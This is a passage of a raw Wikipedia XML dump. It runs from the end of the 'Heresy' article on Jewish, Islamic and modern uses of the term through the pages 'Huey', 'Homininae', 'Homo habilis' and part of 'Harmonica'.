&quot;The following have no share in the world to come, but are cut off, and perish, and receive their punishment for all time for their great sin: the minim, the apiḳoresim, they that deny the belief in the Torah, they that deny the belief in resurrection of the dead and in the coming of the Redeemer, the apostates, they that lead many to sin, they that turn away from the ways of the [Jewish] community. Five are called 'minim': (1) he who says there is no God and the world has no leader; (2) he who says the world has more than one leader; (3) he who ascribes to the Lord of the Universe a body and a figure; (4) he who says that God was not alone and Creator of all things at the world's beginning; (5) he who worships some star or constellation as an intermediating power between himself and the Lord of the World.

&quot;The following three classes are called 'apiḳoresim': (1) he who says there was no prophecy nor was there any wisdom that came from God and which was attained by the heart of man; (2) he who denies the prophetic power of Moses our master; (3) he who says that God has no knowledge concerning the doings of men.

&quot;The following three are called 'koferim ba-Torah': (1) he who says the Torah is not from God: he is a kofer even if he says a single verse or letter thereof was said by Moses of his own accord; (2) he who denies the traditional interpretation of the Torah and opposes those authorities who declare it to be tradition, as did [[Zadok]] and Boethus; and (3) he who says, as do the Nazarenes and the Mohammedans, that the Lord has given a new dispensation instead of the old, and that he has abolished the Law, though it was originally divine.&quot;

It is noteworthy, however, that Abraham ben David, in his critical notes, objects to Maimonides characterizing as heretics all those who attribute corporeality to God; and he insinuates that the [[Kabbalah|Kabbalists]] are not heretics. In the same sense all Biblical critics who, like [[Ibn Ezra]] in his notes on Deut. i. 2, doubt or deny the Mosaic origin of every portion of the Pentateuch, would protest against the Maimonidean (or Talmudic; see Sanh. 99a) conception of heresy. See Apiḳoros; Articles of Faith; Judaism; Gnosticism. K.

====Legal status====
The status of heretics in Jewish law is not clearly defined. While there are certain regulations scattered throughout the Talmud concerning the minim, the nearest approach to the English term &quot;heretic,&quot; these are mostly of a haggadic nature, the codes taking little cognizance of them. The governing bodies of the Synagogue frequently exercised, from motives of self-defense, their power of excommunication against heretics. The heretic was excluded from a portion in the world to come (Maimonides, &quot;Yad,&quot; Teshubah, iii. 6-14); he was consigned to [[Gehenna]], to eternal [[punishment]] (R. H. 17a; comp. Ex. R. xix. 5; see Apiḳoros, and compare D. Hoffmann, &quot;Der Schulchan Aruch und die Rabbinen über das Verhältnis der Juden zu Andersgläubigen,&quot; 2d ed., Berlin, 1894); but the Jewish courts of justice never attended to cases of heresy; they were left to the judgment of the community.

There are, however, in the rabbinic codes, laws and regulations concerning the relation of the Jew to the heretic. The sentiment against the heretic was much stronger than that against the pagan. While the pagan brought his offerings to the Temple in Jerusalem and the priests accepted them, the sacrifices of the heretic were not accepted (Ḥul. 13b, et al.). The relatives of the heretic did not observe the laws of mourning after his death, but donned festive garments, and ate and drank and rejoiced (Sem. ii. 10; &quot;Yad,&quot; Ebel, i. 5, 6; Yoreh De'ah, 345, 5). Scrolls of the Law, tefillin, and mezuzot written by a heretic were burned (Giṭ. 45b; Shulḥan 'Aruk, Oraḥ Ḥayyim, 39, 1; Yoreh De'ah, 281, 1); and an animal slaughtered by a heretic was forbidden food (Ḥul. 13a; Yoreh De'ah, 2, 5). Books written by heretics did not render the hands impure (&quot;Yad,&quot; She'ar Abot ha-Ṭum'ot, ix. 10; comp. Yad. iv. 6; see Purity); they might not be saved from fire on the Sabbath (Shab. 116a; Oraḥ Ḥayyim, 334, 21). A heretic's testimony was not admitted in evidence in Jewish courts (Ḥoshen Mishpaṭ, 34, 22; see &quot;Be'er ha-Golah&quot; ad loc.); and if an Israelite found an object belonging to a heretic, he was forbidden to return it to him (Ḥoshen Mishpaṭ 266, 2).

====Classes of heretics====
The &quot;mumar le-hak'is&quot; (one who transgresses the Law, not for personal advantage, but out of defiance and spite) was placed by some of the Rabbis in the same category as the minim ('Ab. Zarah 26a; Hor. 11a). Even if he habitually transgressed one law only (for example, if he defiantly violated one of the dietary laws), he was not allowed to perform any religious function (Yoreh De'ah, 2, 5; SHaK and &quot;Pitḥe Teshubah,&quot; ad loc.), nor could he testify in a Jewish court (Sanh. 27a; &quot;Yad,&quot; 'Edut, x. 3; Ḥoshen Mishpaṭ, 34, 2). One who violated the Sabbath publicly or worshiped idols could not participate in the &quot;'erub ḥaẓerot&quot; ('Er. 69a; &quot;Yad,&quot; 'Erubin, ii. 16; Oraḥ Ḥayyim, 385, 3; see 'Erub), nor could he write a bill of divorce (Shulḥan 'Aruk, Eben ha-'Ezer, 123, 2). One who would not permit himself to be circumcised could not perform the ceremony on another (Yoreh De'ah, 264, 1, Isserles' gloss). While the court could not compel the mumar to divorce his wife, even though she demanded it, it compelled him to support her and her children and to pay her an allowance until he agreed to a divorce (Eben ha-'Ezer, 154, 1, and &quot;Pitḥe Teshubah,&quot; ad loc.). At his death those who are present need not tear their garments (Yoreh De'ah, 340, 5, and &quot;Pitḥe Teshubah,&quot; ad loc.). The mumar who repented and desired readmittance into the community was obliged to take a ritual bath, the same as the proselyte (Yoreh De'ah, 268, 12, Isserles' gloss, and &quot;Pitḥe Teshubah,&quot; ad loc.; comp. &quot;Sefer Ḥasidim,&quot; ed. Wistinetzki, §§ 200-209). If he claimed to be a good Jew, although he was alleged to have worshiped idols in another town, he was believed when no benefit could have accrued to him from such a course.

===Heresy in Islam===
The two main bodies of [[Islam]] are the [[Sunni Islam|Sunnis]] and the [[Shi'a Islam|Shi'as]]. These main denominations view each other as heretical. Groups like the [[Sufi]]s, the [[Harufi]] and the [[Bektashi]] are sometimes regarded as heretical. Although Sufism is often accepted as valid by Sunnis, [[Islamic fundamentalism|fundamentalist]] Sunni movements like [[Wahhabism]] view it as heretical.

Both the [[Ahmadiyya]] and the [[Nation of Islam]] are regarded by mainstream Muslims as non-Muslim. Muslims who convert to those faiths tend to be viewed as [[apostasy|apostates]], rather than heretics.

Those deemed heretics tend to be tolerated by Islamic courts, scholars and power structures, in contrast to those who are deemed to be [[apostasy|apostates]], such as the Ahmadis who were [[excommunicated]] by the [[Pakistan]]i state in 1974, yet in [[Iran]] the same are considered as Muslim.

==Contemporary heresy==
Today, ''heresy'' can be without a religious context as the holding of ideas that are in fundamental disagreement with the status quo in any practice and branch of knowledge. Religion is not a necessary component of the term's definition. [http://www.cogsci.princeton.edu/cgi-bin/webwn2.0?stage=1&amp;word=heresy] For example, [[Charles Darwin]] of [[natural selection]] fame was considered a heretic of his day. Other people considered heretics were [[Isaac Newton]], [[Albert Einstein]], [[Leonardo da Vinci]], [[Copernicus]], and many others. The revisionist [[paleontologist]] [[Robert T. Bakker]], who published his findings as ''The Dinosaur Heresies'', jokingly treated the mainstream view of dinosaurs as the [[dogma]] of a religion. 

The term ''heresy'' is also used as an ideological [[Pigeonholing|pigeonhole]] for contemporary writers because by definition heresy depends on contrasts with an established [[orthodoxy]]. For example, the tongue-in-cheek contemporary usage of heresy, such as to categorize a &quot;Wall Street heresy&quot; or a &quot;Republican heresy&quot;, are [[metaphor]]s which invariably retain a subtext that links orthodoxies in geology or biology or any other field to the dogmas of religion (although religion may not necessarily appear as an explicit component). Heresy, in these expanded metaphoric senses, is intended to allude to both the ''difference'' between the person's views and the mainstream, and the ''boldness'' of such a person in propounding these views, despite their unpopularity or even forceful opposition.

In modern American history, the term heresy has been applied in the United States to the position of those Catholic politicians and voters who publicly and obstinately profess the civil right to choose abortion.  In July 2004, the group De Fide achieved wide notoriety when it coined the expression &quot;Right-to-Murder Heresy&quot; in reference to abortion.  It and 3,000 other Catholics filed the first &quot;class-action&quot; denunciation for heresy against Senator John F. Kerry, soon followed by more denunciations against four other well-known Republican and Democrat senators also pro-choice.  

Following those events, in February 2006, Bishop Robert F. Vasa of the Diocese of Baker, Oregon widened the national debate by becoming the first sitting Roman Catholic Ordinary to publicly raise the question of heresy in reference to those who support or vote in favor of abortion.

==See also==
* [[Apostacy]]
* [[Bida]]
* [[Binitarianism]]
* [[Brethren of the Free Spirit]]
* [[Christian anarchism]]
* [[Christian theological controversy]]
* [[Criticisms of Pentecostal and Charismatic belief]]
* [[Heterodoxy]]
* [[History of Christianity]]
* [[Orthodoxy]]
* [[Sabbath Breaking]]
* [[:Category:Heretics|List of heretics (category)]] 
* [[List of people burned as heretics]]
* [[Status quo]]

==External links==
* Some quotes and information in this article came from the [http://www.newadvent.org/cathen/07256b.htm Catholic Encyclopedia].
*[http://www.spirithome.com/definic.html#heresy One Christian definition of 'heresy']
*[http://www.defide.com De Fide], a non-profit association which uses Canon Law to defend the Faith and Church from Heresy, through lawsuits in Ecclesiastical Court.
*[http://www.languedoc-france.info/12_cathars.htm The Cathar Heresy] information on what mainstream churches regard as the first great medieval European heresy.

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[[Category:Christian law]]
[[Category:Heresy|*]]
[[Category:History of ideas]]
[[Category:patristics]]
[[Category:Religious law]]

[[bs:Hereza]]
[[ca:Heretgia]]
[[cs:Hereze]]
[[da:Kætteri]]
[[de:Häresie]]
[[el:Αίρεση]]
[[eo:Herezo]]
[[es:Herejía]]
[[fi:Kerettiläisyys]]
[[fr:Hérésie]]
[[io:Herezio]]
[[it:Eresia]]
[[ja:異端]]
[[ko:이단]]
[[nl:Ketterij]]
[[no:Heresi]]
[[pl:Herezja]]
[[pt:Heresia]]
[[ru:Ересь]]
[[sk:Heréza]]
[[sr:Јерес]]
[[sv:Kätteri]]
[[uk:Єресь]]
[[zh:異端]]</text>
    </revision>
  </page>
  <page>
    <title>Huey</title>
    <id>14344</id>
    <revision>
      <id>32102963</id>
      <timestamp>2005-12-20T14:28:28Z</timestamp>
      <contributor>
        <username>Sjorford</username>
        <id>24741</id>
      </contributor>
      <comment>cleanup, add one</comment>
      <text xml:space="preserve">'''Huey''' may refer to:

'''Places:'''
* [[Huey, Illinois]], a village in Clinton County

'''People:'''
* [[Hugh Morgan]] of the [[Fun Lovin' Criminals]], known as Huey
* [[Huey Lewis]], rock musician, noted for his band [[Huey Lewis &amp; the News]]
* [[Huey Long]] (1893-1935), US democratic party politician, known as &quot;The Kingfish&quot;
* [[Huey P. Newton]] (1942-1989), co-founder of the [[Black Panther Party]]

'''Other:'''
* [[UH-1 Iroquois]], [[United States Army]] utility helicopter nicknamed the &quot;Huey&quot;
* [[Huey II]], modified version of the [[UH-1 Iroquois]]
* [[AH-1 Huey Cobra]], attack helicopter predating the [[AH-64 Apache]]
* [[Huey, Dewey and Louie]], [[Walt Disney]] characters
* ''Hamster Huey and the Gooey Kablooie'' is an [[apocryphal]] [[children's literature|children's book]] in the comic strip [[Calvin and Hobbes]].
* In colloquial use in [[Australia]], &quot;Send it down Huey&quot; means &quot;bring on the rain&quot;.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Human being</title>
    <id>14345</id>
    <revision>
      <id>23293206</id>
      <timestamp>2005-09-15T17:31:21Z</timestamp>
      <contributor>
        <username>Encephalon</username>
        <id>368662</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/81.129.16.199|81.129.16.199]] to last version by Raul654</comment>
      <text xml:space="preserve">#REDIRECT [[Human]]</text>
    </revision>
  </page>
  <page>
    <title>Huey helicopter</title>
    <id>14346</id>
    <revision>
      <id>15911908</id>
      <timestamp>2002-08-28T06:52:18Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>correcting redirect</comment>
      <text xml:space="preserve">#REDIRECT [[UH-1 Iroquois]]</text>
    </revision>
  </page>
  <page>
    <title>Homininae</title>
    <id>14347</id>
    <revision>
      <id>38598881</id>
      <timestamp>2006-02-07T10:41:11Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Homininae
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| superfamilia = [[Hominoidea]]
| familia = [[Hominidae]]
| subfamilia = '''Homininae'''
| subfamilia_authority = [[John Edward Gray|Gray]], [[1825]]
| subdivision_ranks = [[Tribe (biology)|Tribes]]
| subdivision = 
''[[Gorillini]]'' ([[gorilla]]s)&lt;br/&gt;
''[[Hominini]]'' ([[human]]s and [[chimpanzee]]s)
}}

'''Homininae''' is a subfamily of [[Hominidae]], including ''[[Homo sapiens]]'' and some extinct relatives, as well as the [[gorilla]]s and the [[chimpanzee]]s. It comprises all those [[hominid|hominids]], such as [[Australopithecus]], that arose after the split from the other [[great ape]]s (of which [[orangutan]]s are the only surviving group).

As of 1980, the family Hominidae contained only [[human]]s, with the [[great ape]]s in the family Pongidae. Discoveries led to a revision of classification, with the great apes (now [[Ponginae]]) and humans (Homininae) united in Hominidae. But further discoveries indicated that [[gorilla]]s and [[chimpanzee]]s are more closely related to humans than they are to orangutans, hence their current placement in Homininae. [[Ape#History of hominoid taxonomy|Hominoid taxonomy]] has had several changes in the classification of apes in recent years.

The subfamily Homininae can be further subdivided into the [[Tribe (biology)|tribes]] [[Gorillini]] (gorillas) and [[Hominini]] (chimpanzees and humans).

A ''hominin'' is a member of the tribe Hominini, a ''hominine'' is a member of the subfamily Homininae, a ''hominid'' is a member of the family Hominidae, and a ''hominoid'' is a member of the superfamily Hominoidea. 

[[image:Homininae.PNG|frame|left|Hominoid family tree]]

{{Wikispecies|Homininae}}
{{Wikibookspar|Dichotomous Key|Homininae}}


[[Category:Apes]]

[[da:Abemennesker]]
[[es:Homininae]]
[[fr:Homininae]]
[[ko:사람아과]]
[[nl:Homininae]]
[[ja:ヒト亜科]]
[[pl:Homininae]]
[[sk:Hominini]]</text>
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  </page>
  <page>
    <title>Homo habilis</title>
    <id>14348</id>
    <revision>
      <id>42109709</id>
      <timestamp>2006-03-03T22:05:10Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = ''Homo habilis''
| fossil_range = [[Pliocene]]-[[Pleistocene]]
| image = Habilis skull-.jpg
| image_width = 200px
| image_caption = KNM-ER-1813 
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primates]]
| familia = [[Hominidae]]
| genus = ''[[Homo (genus)|Homo]]''
| species = '''''H. habilis'''''
| binomial = ''Homo habilis''
| binomial_authority = [[Louis Leakey|Leakey]] et al, [[1964]]
}}

'''''Homo habilis''''' ''«HOH moh HAB uh luhs»'' (&quot;handy man&quot;, &quot;skillful person&quot;) is a [[species]] of the genus ''[[Homo (genus)|Homo]]'', which lived from approximately 2.5 million to 1.8 million years ago at the beginning of the [[Pleistocene]]. The definition of this species is credited to both Mary and Louis [[Leakey]], who found fossils in [[Tanzania]], [[East Africa]], between [[1962]] and [[1964]]. ''Homo habilis'' is arguably the first species of the ''Homo'' genus to appear. In its appearance and [[morphology]], ''H. habilis'' was the least similar to modern humans of all species to be placed in the genus ''Homo'' (except possibly ''[[Homo rudolfensis]]''). ''Homo habilis'' was very short and had disproportionately long arms compared to modern man. It is thought to have probably descended from a species of [[australopithecine]] hominid. It may have had a more immediate ancestor in the form of the somewhat more massive and ape-like, ''[[Homo rudolfensis]]''. ''Homo habilis'' had a brain slightly less than half of the size of modern man. Despite the mophology of the species, ''H. habilis'' remains are usually found alongside primitive stone tools (ie. [[Olduvai Gorge]], [[Tanzania]] and [[Lake Turkana]], [[Kenya]]).

==Findings==
Anthropologist [[Richard Leakey]]’s son [[Jonathon Leakey]], unearthed an [[ape]]-like skull that shared [[human]]-like traits in 1964. The name itself, ''Homo habilis'', was originally given by [[Raymond Dart]]. One set of fossil remains (OH 62) discovered by [[Donald Johanson]] and [[Tim White (anthropologist)|Tim White]] from Olduvai Gorge in [[1986]], included important features including the upper and lower limbs of an individual. An older ([[1963]]) finding from the Olduvai site found by N. Mbuika had included a lower jaw fragment, teeth and upper mandible possibly from a female dating 1.7 million years old. The remains from 3 skeletons{{ref|skeletons}} demonstrated an australopithecine-like body yet the face was more human-like and with smaller teeth and had a larger brain size. Compared to [[australopithecine]]s, ''H. habilis'' had a 50% larger brain capacity of 590 and 650[[cc]] (considerably smaller than the 1350 to 1450cc range of modern ''[[Homo sapiens]]'' ). These hominins were small, on average standing no more than 1.3 m (4'3&quot;) tall. Due to the small size and rather primitive attributes, Richard Leakey himself previously doubted H. habilis as being a member of the genus Homo. The contraversial aspect of H. habilis was by some researchers reduced to &quot;''Australopithecus habilis''&quot; instead.

==Interpretations==
[[Image:habilisview.jpg|thumb|left|120px|Homo habilis reconstruction [[Huntarian Museum]] [[UK]]]]
''Homo habilis'' is thought to have mastered the [[Olduwan]] era (Early Paleolithic) tool case which utilized stone flakes. Though these stone flakes were primitive by modern standards, they were more advanced than any tools that had ever previously existed, and they gave ''H. habilis'' the edge it needed to prosper in hostile environments previously too formidable for [[primate]]s. It remains quite controversial whether ''H. habilis'' was the first hominin to master stone tool technology, the discovery of ''[[Australopithecus garhi]]'' dating 2.6 million years old has been found along with stone tool implements over 100,000 - 200,000 years older than ''H. habilis''.

In terms of social status most experts agree that the intelligence of ''H. habilis'' was more sophisticated than typical australopithecines or [[chimpanzee]]s. Yet despite its tool usage, ''H. habilis'' was not the master hunter that its descendants proved to be, as there is ample fossil evidence that ''H. habilis'' was a major staple in the diet of large predatory animals such as ''[[Dinofelis]]'', a large predatory [[Felidae|cat]] similar to a [[leopard]]. ''H. habilis'' used tools primarily for scavenging, such as cleaving meat off of carrion, rather than defence or hunting. ''Homo habilis'' is thought to be the ancestor of the lankier and more sophisticated, ''[[Homo ergaster]]'', which in turn gave rise to the more human-appearing species, ''[[Homo erectus]]''. There is some debate over whether ''H. habilis'' is a direct human ancestor, and over how many known fossils are properly attributed to the species.

''Homo habilis'' co-existed with many other ''Homo''-like bipedal primates, such as ''[[Paranthropus boisei]]'', which were also highly successful, some prospering for many millennia. However, ''H. habilis'', possibly because of its early tool innovation and a less specialized diet, became the precursor of an entire line of new species, whereas ''Paranthropus boisei'' and its [[robust australopithecine|robust relatives]] disappeared from the later fossil record.

There is large amount of controversy about the classification of ''H. habilis'' into the ''Homo'' genus. Like ''Homo rudolfensis'', ''H. habilis'' lacked many of the things that were unique only to later hominins such as slim hips for walking long distances, a sophisticated sweating system, narrow birth canal and legs longer than arms; other traits such as noticeable whites in the eyes, smaller hairs resulting in exposed skin and a naked appearance remain theoretical. Many scientists think ''H. habilis'' and its close relative ''H. rudolfensis'' to be more ape like despite their larger brains and bipedal locomotion than that of earlier species and is being re-thought on their classification into the ''Homo'' genus.

==External links==
*[http://www.mnh.si.edu/anthro/humanorigins/ha/a_tree.html Early Human Phylogeny (Smithsonian Institution)]

==References==
#{{note|skeletons}}[[BBC]] - ''Dawn of Man'' ([[2000]]) by Robin Mckie| ISBN 0-7894-6262-1
#''Early Humans'' (Roy A. Gallant)/Copyright 2000| ISBN 0-76140960-2

{{Human_Evolution}}
[[Category:early hominids]]
[[Category:Pliocene mammals]]
[[Category:Pleistocene mammals]]
[[Category:Pleistocene extinctions]]

[[ast:Homo habilis]]
[[ca:Homo habilis]]
[[cs:Homo habilis]]
[[da:Homo habilis]]
[[de:Homo habilis]]
[[et:Homo habilis]]
[[es:Homo habilis]]
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[[ko:호모 하빌리스]]
[[it:Homo habilis]]
[[nl:Homo habilis]]
[[ja:ホモ・ハビリス]]
[[lb:Homo habilis]]
[[pl:Homo habilis]]
[[pt:Homo habilis]]
[[ru:Человек умелый]]
[[sl:Homo habilis]]
[[fi:Homo habilis]]
[[sv:Homo habilis]]
[[zh:巧人]]</text>
    </revision>
  </page>
  <page>
    <title>Harmonica</title>
    <id>14349</id>
    <revision>
      <id>42094077</id>
      <timestamp>2006-03-03T20:06:53Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>make link direct</comment>
      <text xml:space="preserve">{{Infobox Instrument
|color1=#FFD700
|color2=#FFEC8B
|name=Harmonica
|names=[[English language|en:]]&amp;nbsp;''Harmonica''
|image=16-hole_chrom_&amp;_10-hole_diatonic.JPG
|classification=
*[[Wind instrument|Wind]]
*[[Free reed aerophone]]
*[[Aerophone]]
|range=&lt;small&gt;For 64-reeds (16-holes) chromatic harmonica: C below Middle C (C) to C5; 4 octaves &lt;/small&gt;
|related=[[accordion]], [[melodica]], [[harmonium]], [[concertina]], [[sheng]], [[reed organ]], [[Yu (wind instrument)|Yu]]
|articles=[[List of harmonicists]]
}}
{{wikibooks|Harmonica|Harmonica}}
A '''harmonica''' is a [[Free reed instrument|free reed]] musical [[wind instrument]] (also known, among other things, as a '''mouth organ''', '''French harp''', '''tin sandwich''',  '''blues harp''', simply '''harp''', or &quot;'''Mississippi saxophone'''&quot;), having multiple, variably-tuned [[brass]] or [[bronze]] [[Reed (music)|reed]]s, each secured at one end over an airway slot of like dimension into which it can freely vibrate, thus repeatedly interrupting an airstream to produce [[sound]].

Unlike most free-reed instruments (such as [[reed organ]]s, [[accordion]]s and [[melodica]]s), the harmonica lacks a keyboard. Instead, the player selects the notes by placement of their mouth over the proper airways, usually made up of discrete holes in the front of the instrument.  Each hole communicates with one, two or a few reeds.  Because a reed mounted above a slot is made to vibrate more easily by air from above, reeds accessed by a mouthpiece hole often may be selected further by choice of breath direction (blowing, drawing). Some harmonicas (primarily [[#The chromatic harmonica|chromatic harmonicas]]) also include a spring-loaded button-actuated slide that, when depressed, redirects the airflow.

The harmonica is commonly used in [[blues]] and [[folk music]], but also in [[jazz]], [[European classical music|classical music]], [[country music]], [[rock and roll]] and [[pop music]]. Increasingly, the harmonica is finding its place in more electronically generated music, such as [[dance]] and [[hip-hop]], as well as [[funk]] and [[acid]]. Harmonica seems to be an instrument that crosses ethnic, musical, and cultural divides in a manner that is not as well duplicated by many other instruments.

== Parts of the harmonica==
[[Image:Gaita partes1.jpg|thumb|Comb and two reedplates.]]
[[Image:Gaita_Palhetas2.jpg|thumb|left|Reedplate mounted on the comb of a diatonic harmonica.]]
[[Image:Gaita palhetas.jpg|thumb|Reed plate.]]

The basic parts of the harmonica are the comb, reed-plates and cover-plates.  The comb is the term for the main body of the instrument.  These are traditionally made of [[wood]], but [[plastic]] (ABS) and [[metal]] combs are perhaps more common today.  The comb contains the air chambers which cover the reeds - the name [[comb]] comes from the fact that in simple harmonicas it does indeed resemble a hair-comb.  In some designs, however, the comb is in fact very complex in arranging how the air is directed, particularly more modern and experimental designs.  There is much debate about whether comb-material has an effect on the tone of the harmonica or not.  While this has traditionally been the assumption, several recent attempts at blind testing have not been able to show that people can hear a difference when comb material is the only variable, and the only advantage one comb material truly have over another one is usually its durability. The choice of comb material is usually decided by the player, as the tonality of each material is only heard by the player of the &quot;harp&quot;. Once the sound escapes the instrument, it is then subjected to the environmental changes and to the bias of a listener's ear.

Reed-plate is the term for a grouping of several free-reeds in a single housing (usually [[brass]], but occasionally [[steel]] and [[aluminium]] have been used, as well as plastics).  These individual reeds are usually riveted to the reed-plate but they may also be welded or screwed in place (a notable exception is the all-plastic harmonicas designed by Finn Magnus in the [[1950s]], where the reed and reed-plate were molded out of a single piece of plastic). (Note: The choice of reed-plate material is expressly dependent upon the individual player's preference.)  Depending upon whether the reeds are fixed on the inside (within the comb's air chamber) or the outside (in the open air) of the reed-plate, the reed responds to [[pressure]] ) reeds on the inside of the air chamber will respond to pressure while those on the outside will respond to suction.  Most harmonicas are constructed with the reed-plates screwed to the comb or each other, however a few brands still use the traditional method of nailing the reed-plates to the comb.  Again, the Magnus design had the reeds, reed-plates and comb all out of plastic and either molded together or permanently glued together.  Some experimental and rare harmonicas also have the reed-plates held in place by tension, such as the WWII era All-American models.

The cover or cover-plates are usually made of metal, however wood and plastics have also been used. As pointed out previously, the choice of these is extremely personal. These go on the outside of the harmonica protecting the reed-plates and projecting the sound, and thus is the actual components, other than the reeds, that determine the tonal quality of the harmonica.  There two types: the traditional open designs of stamped metal or plastic are simply there to be held, and the enclosed design (such as Hohner Meisterklass and Super 64, Suzuki Promaster and SCX) offered a louder tonal quality. From these two, a few modern designs are spawned, such as the [[Hohner]] CBH-2016 chromatic and the [[Suzuki]] Overdrive diatonic, which have complex covers which allow for specific functions not usually available in the traditional design.  Similarly, it was not unusual in the late [[19th century|19th]] and early [[20th centuries]] to see harmonicas with special features on the covers such as [[Bell (instrument)|bells]] which could be rung by pushing a button and the like.  

The windsavers, also known as valves, are typically found in Chromatic harmonicas, Chord harmonica as well as many Octave-tuned harmonicas, and occasionally in diatonic and other harmonicas as well.  Windsavers tend to be very thin strips of plastic, but other materials such as knit paper, leather and teflon have been used as well, all cut into strips and glued on one end to cover the opening in the slot opposite the reed on the reed-plate. These appear most often on harmonicas where two reeds share a cell and leakage through the non-playing reed would be significant (primarily chromatic, octave and chord models), the valve is pressed into the slot blocking air from the reed not being sounded.  Thus, when a draw note is played the valve on blow reed-slot is sucked against the slot and blocks air from leaking through that slot and around the in-active blow reed, vice-versa for draw reeds.  An exception is the recent Hohner XB-40 where valves are placed not to isolate single reeds but rather to isolate entire chambers from being active.  

Some harmonicas have other parts as well.  The [[mouthpiece]] is an object which is placed between the air chambers of the instrument and the player's mouth.  This can be made integral with the comb (the diatonic harmonicas, the Hohner Chrometta), as part of the cover (as in Hohner's CX-12) or as a separate unit entirely, secured by screws, which is typical of Chromatics.  In many harmonicas the mouthpiece is purely an ergonomic aide designed to make playing more comfortable, but in the traditional slider-based chromatic harmonica it is essential to the functioning of the instrument, in that it provide groove for the slide.

It should also be noted that among players, the brand that one chooses usually is based on one's ability to play, the pliability of the reeds, sound of the instrument, and, surprisingly, price. For many, the best harmonicas are more expensively priced, though many also learned price does not equate to quality.

== Harmonica types ==

=== The diatonic harmonica ===
[[Image:Gaitas.jpg|thumb|Diatonic harmonicas]]

The diatonic harmonica is the most widely known type of harmonica.  It has ten holes which offer the player 19 notes (10 holes times a draw and a blow for each hole minus one repeated note) in a three octave range. The standard diatonic harmonica is designed to allow a player to play chords and melody in a single key. Because they are only designed to be played in a single key at a time, diatonic harmonicas are available in all keys.  Here is a standard diatonic harmonica's layout in the key of C (1 blow is middle C):

        1  2  3  4  5  6  7  8  9  10
        -----------------------------
 blow: |C |E |G |C |E |G |C |E |G |C |
 draw: |D |G |B |D |F |A |B |D |F |A |
        -----------------------------

See also: [[Media:BluesHarp Notes Layout.png|image of the above diagram]]

Note that although there are 3 octaves between 1 and 10 blow, there is only one full major scale available on the harmonica, between holes 4 and 7.  The lower holes are designed around the tonic (C major) and dominant (G major) chords, allowing a player to play these chords underneath a melody by blocking or unblocking the lower holes with the tongue. The most important notes (the tonic triad C-E-G) are given the blow, and the secondary notes (D-B-F-A), the draw.

====Special tuned harmonicas====

A number of people have made specially tuned variants of the diatonic harmonica. For example, Lee Oskar Harmonicas makes a variety of harmonicas to help players used to a &quot;Cross-harp&quot; style to play in other styles. Cross-harp players usually base their play around a mixolydian scale starting on 2 draw and ending a 6 blow (with a bend needed to get the second tone of the scale; a full scale can be played from 6 blow to 9 blow). Lee-Oskar special tunes harmonicas to allow players to play a natural minor, harmonic minor, and major scale from 2 draw to 6 blow. Below are some sample layouts (notice that the key labels describe the scale from 2 draw to 6 blow, whereas traditional harmonicas are labelled according to the scale between 4 and 8 blow).

Country tune: Identical to standard Richter Tuning, except hole 5 draw is raised a semitone

Natural Minor (cross harp, 6 blow to 9 blow) / Dorian (straight harp, 4 blow to 7 blow):
        1  2  3  4  5  6  7  8  9 10
        -----------------------------
 blow: |C |Eb|G |C |Eb|G |C |Eb|G |C |
 draw: |D |G |Bb|D |F |A |Bb|D |F |A |
        -----------------------------

Harmonic Minor (straight harp, 4 blow to 7 blow)
        1  2  3  4  5  6  7  8  9 10
        -----------------------------
 blow: |C |Eb|G |C |Eb|G |C |Eb|G |C |
 draw: |D |G |B |D |F |Ab|B |D |F |Ab|
        -----------------------------
Major (cross harp, 6 blow to 9 blow), Lee Oskar &quot;Melody Maker&quot; (Note that this will be labeled as &quot;G&quot;: Melody Major's key indicate cross harp's key, starting from draw 2)
        1  2  3  4  5  6  7  8  9 10
        -----------------------------
 blow: |C |E |A |C |E |G |C |E |G |C |
 draw: |D |G |B |D |F#|A |B |D |F#|A |
        -----------------------------

The &quot;Melody Maker&quot; designed and marketed by Lee Oskar is a particularly interesting evolution of the harmonica, since it allows a player accustomed to playing &quot;cross harp&quot; (in mixolydian) to play in a major key (which is what the standard layout is designed for in the first place). Rather than providing the standard C major and G dominant chords, the Melody Maker provides a G Major 7 (2-5 draw), a C Major 6th chord (1-4 blow), an Am or Am7 chord (3-5 or 3-6 blow), a D major chord (4-6 draw) and a C Major chord (6-10 blow). If we are in the key of G, then, the melody maker provides the I chord, the IV chord, the V chord and the II chord, allowing II-V-I progressions as well as I-IV-V progressions.

It is also possible for a harp player to tune the harmonica himself.  By making small scratches in a reed, the note played can be changed.  It is possible to either get a higher or a lower note.  Some harp players make extensive use of these modifications. One of the most famous examples is the harp solo on 'On the road again' by Canned Heat, on which the harmonicist gets the minor 3rd crossharp on the sixth drawn reed, which is normally the major 2nd crossharp.

==== The 12-Hole and 14-Hole Diatonic ====

Hohner had made a few non-standard harmonicas. All of them have more than 10 holes and are labeled &quot;grosse richter&quot;. For 12 holes, Hohner had made 364/24 Marine Band, as well as the 364S/24 Marine Band Solo Tuned. The Marine Band Solo Tuned, with 3 full diatonic octave, can play all notes of the key, and since it can easily bend notes, some players use this for Blues (and even jazz) instead of the more well known solo-tuned harmonicas, the chromatic harmonica, since the bended notes sounded a lot different than true semi-tones. (For layout, see below at Chromatic harmonica, key out) In this configuration, blues players usually play in third position, the D-minor blue scale.

The Hohner Marine Band 365/28 14 hole harmonica is not a standard diatonic harmonica. It has 14 holes and its general dimensions are a bit bigger, so its structure is different from the normal diatonic harmonica and, in the key of C, is pitched one octave lower than the standard 10 hole C diatonic.  Thus, hole 4 blow is one octave below middle C.  Hole 7 blow is middle C. The Marine Band 365/28 in G is similar to a usual G diatonic, having its higher register expanded.  

